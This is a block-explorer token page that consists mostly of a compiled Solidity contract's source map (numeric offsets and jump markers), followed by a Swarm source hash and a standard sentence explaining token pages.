:67;8571:12;:10;:12::i;:::-;8585:7;8613:15;8594:16;:34;8562:8;:67::i;:::-;8658:4;8651:11;;;8259:411;;;;:::o;6007:87::-;5970:10;5961:19;;:5;;;;;;;;;;;:19;;;5953:28;;;;;;6080:6:::1;6072:5;;:14;;;;;;;;;;;;;;;;;;6007:87:::0;:::o;7024:175::-;7110:4;7127:42;7137:12;:10;:12::i;:::-;7151:9;7162:6;7127:9;:42::i;:::-;7187:4;7180:11;;7024:175;;;;:::o;4949:91::-;;;;;;;;;;;;;:::o;4880:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5595:108::-;5970:10;5961:19;;:5;;;;;;;;;;;:19;;;5953:28;;;;;;5683:12:::1;5669:11;:26;;;;5595:108:::0;:::o;5463:120::-;5970:10;5961:19;;:5;;;;;;;;;;;:19;;;5953:28;;;;;;5560:15:::1;5543:14;:32;;;;5463:120:::0;:::o;6108:104::-;5970:10;5961:19;;:5;;;;;;;;;;;:19;;;5953:28;;;;;;6193:11:::1;6181:9;;:23;;;;;;;;;;;;;;;;;;6108:104:::0;:::o;4843:30::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7205:151::-;7294:7;7321:11;:18;7333:5;7321:18;;;;;;;;;;;;;;;:27;7340:7;7321:27;;;;;;;;;;;;;;;;7314:34;;7205:151;;;;:::o;4132:98::-;4185:7;4212:10;4205:17;;4132:98;:::o;10926:471::-;11079:1;11062:19;;:5;:19;;;;11054:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11160:1;11141:21;;:7;:21;;;;11133:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11335:6;11305:11;:18;11317:5;11305:18;;;;;;;;;;;;;;;:27;11324:7;11305:27;;;;;;;;;;;;;;;:36;;;;11373:7;11357:32;;11366:5;11357:32;;;11382:6;11357:32;;;;;;:::i;:::-;;;;;;;;10926:471;;;:::o;8676:1309::-;8834:1;8816:20;;:6;:20;;;;8808:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8923:4;8897:30;;:14;:22;8912:6;8897:22;;;;;;;;;;;;;;;;;;;;;;;;;:30;;;;8889:40;;;;;;8948:9;;;;;;;;;;;:31;;;;8961:10;:18;8972:6;8961:18;;;;;;;;;;;;;;;;;;;;;;;;;8948:31;8940:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;9031:47;9052:6;9060:9;9071:6;9031:20;:47::i;:::-;9089:21;9113:9;:17;9123:6;9113:17;;;;;;;;;;;;;;;;9089:41;;9141:18;9185:3;9171:11;;9162:6;:20;;;;:::i;:::-;:26;;;;:::i;:::-;9141:47;;9201:21;9251:3;9234:14;;9225:6;:23;;;;:::i;:::-;:29;;;;:::i;:::-;9201:53;;9291:6;9274:13;:23;;9266:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;9412:6;9396:13;:22;9376:9;:17;9386:6;9376:17;;;;;;;;;;;;;;;:42;;;;9475:10;9459:13;9450:6;:22;;;;:::i;:::-;:35;;;;:::i;:::-;9440:45;;9520:6;9496:9;:20;9506:9;9496:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;9559:9;9542:35;;9551:6;9542:35;;;9570:6;9542:35;;;;;;:::i;:::-;;;;;;;;9620:1;9603:14;;:18;9599:179;;;9672:13;9648:9;:20;9658:9;9648:20;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;9720:14;;;;;;;;;;;9703:47;;9712:6;9703:47;;;9736:13;9703:47;;;;;;:::i;:::-;;;;;;;;9599:179;9816:1;9802:11;;:15;9798:160;;;9862:10;9846:12;;:26;;;;;;;:::i;:::-;;;;;;;;9908:11;9891:41;;9900:6;9891:41;;;9921:10;9891:41;;;;;;:::i;:::-;;;;;;;;9798:160;8797:1188;;;8676:1309;;;:::o;11410:125::-;;;;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:474::-;909:6;917;966:2;954:9;945:7;941:23;937:32;934:119;;;972:79;;:::i;:::-;934:119;1092:1;1117:53;1162:7;1153:6;1142:9;1138:22;1117:53;:::i;:::-;1107:63;;1063:117;1219:2;1245:53;1290:7;1281:6;1270:9;1266:22;1245:53;:::i;:::-;1235:63;;1190:118;841:474;;;;;:::o;1321:77::-;1358:7;1387:5;1376:16;;1321:77;;;:::o;1404:118::-;1491:24;1509:5;1491:24;:::i;:::-;1486:3;1479:37;1404:118;;:::o;1528:222::-;1621:4;1659:2;1648:9;1644:18;1636:26;;1672:71;1740:1;1729:9;1725:17;1716:6;1672:71;:::i;:::-;1528:222;;;;:::o;1756:329::-;1815:6;1864:2;1852:9;1843:7;1839:23;1835:32;1832:119;;;1870:79;;:::i;:::-;1832:119;1990:1;2015:53;2060:7;2051:6;2040:9;2036:22;2015:53;:::i;:::-;2005:63;;1961:117;1756:329;;;;:::o;2091:99::-;2143:6;2177:5;2171:12;2161:22;;2091:99;;;:::o;2196:169::-;2280:11;2314:6;2309:3;2302:19;2354:4;2349:3;2345:14;2330:29;;2196:169;;;;:::o;2371:307::-;2439:1;2449:113;2463:6;2460:1;2457:13;2449:113;;;2548:1;2543:3;2539:11;2533:18;2529:1;2524:3;2520:11;2513:39;2485:2;2482:1;2478:10;2473:15;;2449:113;;;2580:6;2577:1;2574:13;2571:101;;;2660:1;2651:6;2646:3;2642:16;2635:27;2571:101;2420:258;2371:307;;;:::o;2684:102::-;2725:6;2776:2;2772:7;2767:2;2760:5;2756:14;2752:28;2742:38;;2684:102;;;:::o;2792:364::-;2880:3;2908:39;2941:5;2908:39;:::i;:::-;2963:71;3027:6;3022:3;2963:71;:::i;:::-;2956:78;;3043:52;3088:6;3083:3;3076:4;3069:5;3065:16;3043:52;:::i;:::-;3120:29;3142:6;3120:29;:::i;:::-;3115:3;3111:39;3104:46;;2884:272;2792:364;;;;:::o;3162:313::-;3275:4;3313:2;3302:9;3298:18;3290:26;;3362:9;3356:4;3352:20;3348:1;3337:9;3333:17;3326:47;3390:78;3463:4;3454:6;3390:78;:::i;:::-;3382:86;;3162:313;;;;:::o;3481:122::-;3554:24;3572:5;3554:24;:::i;:::-;3547:5;3544:35;3534:63;;3593:1;3590;3583:12;3534:63;3481:122;:::o;3609:139::-;3655:5;3693:6;3680:20;3671:29;;3709:33;3736:5;3709:33;:::i;:::-;3609:139;;;;:::o;3754:474::-;3822:6;3830;3879:2;3867:9;3858:7;3854:23;3850:32;3847:119;;;3885:79;;:::i;:::-;3847:119;4005:1;4030:53;4075:7;4066:6;4055:9;4051:22;4030:53;:::i;:::-;4020:63;;3976:117;4132:2;4158:53;4203:7;4194:6;4183:9;4179:22;4158:53;:::i;:::-;4148:63;;4103:118;3754:474;;;;;:::o;4234:90::-;4268:7;4311:5;4304:13;4297:21;4286:32;;4234:90;;;:::o;4330:109::-;4411:21;4426:5;4411:21;:::i;:::-;4406:3;4399:34;4330:109;;:::o;4445:210::-;4532:4;4570:2;4559:9;4555:18;4547:26;;4583:65;4645:1;4634:9;4630:17;4621:6;4583:65;:::i;:::-;4445:210;;;;:::o;4661:619::-;4738:6;4746;4754;4803:2;4791:9;4782:7;4778:23;4774:32;4771:119;;;4809:79;;:::i;:::-;4771:119;4929:1;4954:53;4999:7;4990:6;4979:9;4975:22;4954:53;:::i;:::-;4944:63;;4900:117;5056:2;5082:53;5127:7;5118:6;5107:9;5103:22;5082:53;:::i;:::-;5072:63;;5027:118;5184:2;5210:53;5255:7;5246:6;5235:9;5231:22;5210:53;:::i;:::-;5200:63;;5155:118;4661:619;;;;;:::o;5286:86::-;5321:7;5361:4;5354:5;5350:16;5339:27;;5286:86;;;:::o;5378:112::-;5461:22;5477:5;5461:22;:::i;:::-;5456:3;5449:35;5378:112;;:::o;5496:214::-;5585:4;5623:2;5612:9;5608:18;5600:26;;5636:67;5700:1;5689:9;5685:17;5676:6;5636:67;:::i;:::-;5496:214;;;;:::o;5716:118::-;5803:24;5821:5;5803:24;:::i;:::-;5798:3;5791:37;5716:118;;:::o;5840:222::-;5933:4;5971:2;5960:9;5956:18;5948:26;;5984:71;6052:1;6041:9;6037:17;6028:6;5984:71;:::i;:::-;5840:222;;;;:::o;6068:104::-;6113:7;6142:24;6160:5;6142:24;:::i;:::-;6131:35;;6068:104;;;:::o;6178:138::-;6259:32;6285:5;6259:32;:::i;:::-;6252:5;6249:43;6239:71;;6306:1;6303;6296:12;6239:71;6178:138;:::o;6322:155::-;6376:5;6414:6;6401:20;6392:29;;6430:41;6465:5;6430:41;:::i;:::-;6322:155;;;;:::o;6483:345::-;6550:6;6599:2;6587:9;6578:7;6574:23;6570:32;6567:119;;;6605:79;;:::i;:::-;6567:119;6725:1;6750:61;6803:7;6794:6;6783:9;6779:22;6750:61;:::i;:::-;6740:71;;6696:125;6483:345;;;;:::o;6834:142::-;6937:32;6963:5;6937:32;:::i;:::-;6932:3;6925:45;6834:142;;:::o;6982:254::-;7091:4;7129:2;7118:9;7114:18;7106:26;;7142:87;7226:1;7215:9;7211:17;7202:6;7142:87;:::i;:::-;6982:254;;;;:::o;7242:329::-;7301:6;7350:2;7338:9;7329:7;7325:23;7321:32;7318:119;;;7356:79;;:::i;:::-;7318:119;7476:1;7501:53;7546:7;7537:6;7526:9;7522:22;7501:53;:::i;:::-;7491:63;;7447:117;7242:329;;;;:::o;7577:116::-;7647:21;7662:5;7647:21;:::i;:::-;7640:5;7637:32;7627:60;;7683:1;7680;7673:12;7627:60;7577:116;:::o;7699:133::-;7742:5;7780:6;7767:20;7758:29;;7796:30;7820:5;7796:30;:::i;:::-;7699:133;;;;:::o;7838:323::-;7894:6;7943:2;7931:9;7922:7;7918:23;7914:32;7911:119;;;7949:79;;:::i;:::-;7911:119;8069:1;8094:50;8136:7;8127:6;8116:9;8112:22;8094:50;:::i;:::-;8084:60;;8040:114;7838:323;;;;:::o;8167:180::-;8215:77;8212:1;8205:88;8312:4;8309:1;8302:15;8336:4;8333:1;8326:15;8353:320;8397:6;8434:1;8428:4;8424:12;8414:22;;8481:1;8475:4;8471:12;8502:18;8492:81;;8558:4;8550:6;8546:17;8536:27;;8492:81;8620:2;8612:6;8609:14;8589:18;8586:38;8583:84;;;8639:18;;:::i;:::-;8583:84;8404:269;8353:320;;;:::o;8679:227::-;8819:34;8815:1;8807:6;8803:14;8796:58;8888:10;8883:2;8875:6;8871:15;8864:35;8679:227;:::o;8912:366::-;9054:3;9075:67;9139:2;9134:3;9075:67;:::i;:::-;9068:74;;9151:93;9240:3;9151:93;:::i;:::-;9269:2;9264:3;9260:12;9253:19;;8912:366;;;:::o;9284:419::-;9450:4;9488:2;9477:9;9473:18;9465:26;;9537:9;9531:4;9527:20;9523:1;9512:9;9508:17;9501:47;9565:131;9691:4;9565:131;:::i;:::-;9557:139;;9284:419;;;:::o;9709:180::-;9757:77;9754:1;9747:88;9854:4;9851:1;9844:15;9878:4;9875:1;9868:15;9895:305;9935:3;9954:20;9972:1;9954:20;:::i;:::-;9949:25;;9988:20;10006:1;9988:20;:::i;:::-;9983:25;;10142:1;10074:66;10070:74;10067:1;10064:81;10061:107;;;10148:18;;:::i;:::-;10061:107;10192:1;10189;10185:9;10178:16;;9895:305;;;;:::o;10206:220::-;10346:34;10342:1;10334:6;10330:14;10323:58;10415:3;10410:2;10402:6;10398:15;10391:28;10206:220;:::o;10432:366::-;10574:3;10595:67;10659:2;10654:3;10595:67;:::i;:::-;10588:74;;10671:93;10760:3;10671:93;:::i;:::-;10789:2;10784:3;10780:12;10773:19;;10432:366;;;:::o;10804:419::-;10970:4;11008:2;10997:9;10993:18;10985:26;;11057:9;11051:4;11047:20;11043:1;11032:9;11028:17;11021:47;11085:131;11211:4;11085:131;:::i;:::-;11077:139;;10804:419;;;:::o;11229:221::-;11369:34;11365:1;11357:6;11353:14;11346:58;11438:4;11433:2;11425:6;11421:15;11414:29;11229:221;:::o;11456:366::-;11598:3;11619:67;11683:2;11678:3;11619:67;:::i;:::-;11612:74;;11695:93;11784:3;11695:93;:::i;:::-;11813:2;11808:3;11804:12;11797:19;;11456:366;;;:::o;11828:419::-;11994:4;12032:2;12021:9;12017:18;12009:26;;12081:9;12075:4;12071:20;12067:1;12056:9;12052:17;12045:47;12109:131;12235:4;12109:131;:::i;:::-;12101:139;;11828:419;;;:::o;12253:191::-;12293:4;12313:20;12331:1;12313:20;:::i;:::-;12308:25;;12347:20;12365:1;12347:20;:::i;:::-;12342:25;;12386:1;12383;12380:8;12377:34;;;12391:18;;:::i;:::-;12377:34;12436:1;12433;12429:9;12421:17;;12253:191;;;;:::o;12450:181::-;12590:33;12586:1;12578:6;12574:14;12567:57;12450:181;:::o;12637:366::-;12779:3;12800:67;12864:2;12859:3;12800:67;:::i;:::-;12793:74;;12876:93;12965:3;12876:93;:::i;:::-;12994:2;12989:3;12985:12;12978:19;;12637:366;;;:::o;13009:419::-;13175:4;13213:2;13202:9;13198:18;13190:26;;13262:9;13256:4;13252:20;13248:1;13237:9;13233:17;13226:47;13290:131;13416:4;13290:131;:::i;:::-;13282:139;;13009:419;;;:::o;13434:224::-;13574:34;13570:1;13562:6;13558:14;13551:58;13643:7;13638:2;13630:6;13626:15;13619:32;13434:224;:::o;13664:366::-;13806:3;13827:67;13891:2;13886:3;13827:67;:::i;:::-;13820:74;;13903:93;13992:3;13903:93;:::i;:::-;14021:2;14016:3;14012:12;14005:19;;13664:366;;;:::o;14036:419::-;14202:4;14240:2;14229:9;14225:18;14217:26;;14289:9;14283:4;14279:20;14275:1;14264:9;14260:17;14253:47;14317:131;14443:4;14317:131;:::i;:::-;14309:139;;14036:419;;;:::o;14461:223::-;14601:34;14597:1;14589:6;14585:14;14578:58;14670:6;14665:2;14657:6;14653:15;14646:31;14461:223;:::o;14690:366::-;14832:3;14853:67;14917:2;14912:3;14853:67;:::i;:::-;14846:74;;14929:93;15018:3;14929:93;:::i;:::-;15047:2;15042:3;15038:12;15031:19;;14690:366;;;:::o;15062:419::-;15228:4;15266:2;15255:9;15251:18;15243:26;;15315:9;15309:4;15305:20;15301:1;15290:9;15286:17;15279:47;15343:131;15469:4;15343:131;:::i;:::-;15335:139;;15062:419;;;:::o;15487:221::-;15627:34;15623:1;15615:6;15611:14;15604:58;15696:4;15691:2;15683:6;15679:15;15672:29;15487:221;:::o;15714:366::-;15856:3;15877:67;15941:2;15936:3;15877:67;:::i;:::-;15870:74;;15953:93;16042:3;15953:93;:::i;:::-;16071:2;16066:3;16062:12;16055:19;;15714:366;;;:::o;16086:419::-;16252:4;16290:2;16279:9;16275:18;16267:26;;16339:9;16333:4;16329:20;16325:1;16314:9;16310:17;16303:47;16367:131;16493:4;16367:131;:::i;:::-;16359:139;;16086:419;;;:::o;16511:224::-;16651:34;16647:1;16639:6;16635:14;16628:58;16720:7;16715:2;16707:6;16703:15;16696:32;16511:224;:::o;16741:366::-;16883:3;16904:67;16968:2;16963:3;16904:67;:::i;:::-;16897:74;;16980:93;17069:3;16980:93;:::i;:::-;17098:2;17093:3;17089:12;17082:19;;16741:366;;;:::o;17113:419::-;17279:4;17317:2;17306:9;17302:18;17294:26;;17366:9;17360:4;17356:20;17352:1;17341:9;17337:17;17330:47;17394:131;17520:4;17394:131;:::i;:::-;17386:139;;17113:419;;;:::o;17538:222::-;17678:34;17674:1;17666:6;17662:14;17655:58;17747:5;17742:2;17734:6;17730:15;17723:30;17538:222;:::o;17766:366::-;17908:3;17929:67;17993:2;17988:3;17929:67;:::i;:::-;17922:74;;18005:93;18094:3;18005:93;:::i;:::-;18123:2;18118:3;18114:12;18107:19;;17766:366;;;:::o;18138:419::-;18304:4;18342:2;18331:9;18327:18;18319:26;;18391:9;18385:4;18381:20;18377:1;18366:9;18362:17;18355:47;18419:131;18545:4;18419:131;:::i;:::-;18411:139;;18138:419;;;:::o;18563:348::-;18603:7;18626:20;18644:1;18626:20;:::i;:::-;18621:25;;18660:20;18678:1;18660:20;:::i;:::-;18655:25;;18848:1;18780:66;18776:74;18773:1;18770:81;18765:1;18758:9;18751:17;18747:105;18744:131;;;18855:18;;:::i;:::-;18744:131;18903:1;18900;18896:9;18885:20;;18563:348;;;;:::o;18917:180::-;18965:77;18962:1;18955:88;19062:4;19059:1;19052:15;19086:4;19083:1;19076:15;19103:185;19143:1;19160:20;19178:1;19160:20;:::i;:::-;19155:25;;19194:20;19212:1;19194:20;:::i;:::-;19189:25;;19233:1;19223:35;;19238:18;;:::i;:::-;19223:35;19280:1;19277;19273:9;19268:14;;19103:185;;;;:::o;19294:225::-;19434:34;19430:1;19422:6;19418:14;19411:58;19503:8;19498:2;19490:6;19486:15;19479:33;19294:225;:::o;19525:366::-;19667:3;19688:67;19752:2;19747:3;19688:67;:::i;:::-;19681:74;;19764:93;19853:3;19764:93;:::i;:::-;19882:2;19877:3;19873:12;19866:19;;19525:366;;;:::o;19897:419::-;20063:4;20101:2;20090:9;20086:18;20078:26;;20150:9;20144:4;20140:20;20136:1;20125:9;20121:17;20114:47;20178:131;20304:4;20178:131;:::i;:::-;20170:139;;19897:419;;;:::o

Swarm Source

ipfs://5b4eda7f49e2246deeb2873391a9955dc779403bca3a0d3440a0f905298dfc3c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.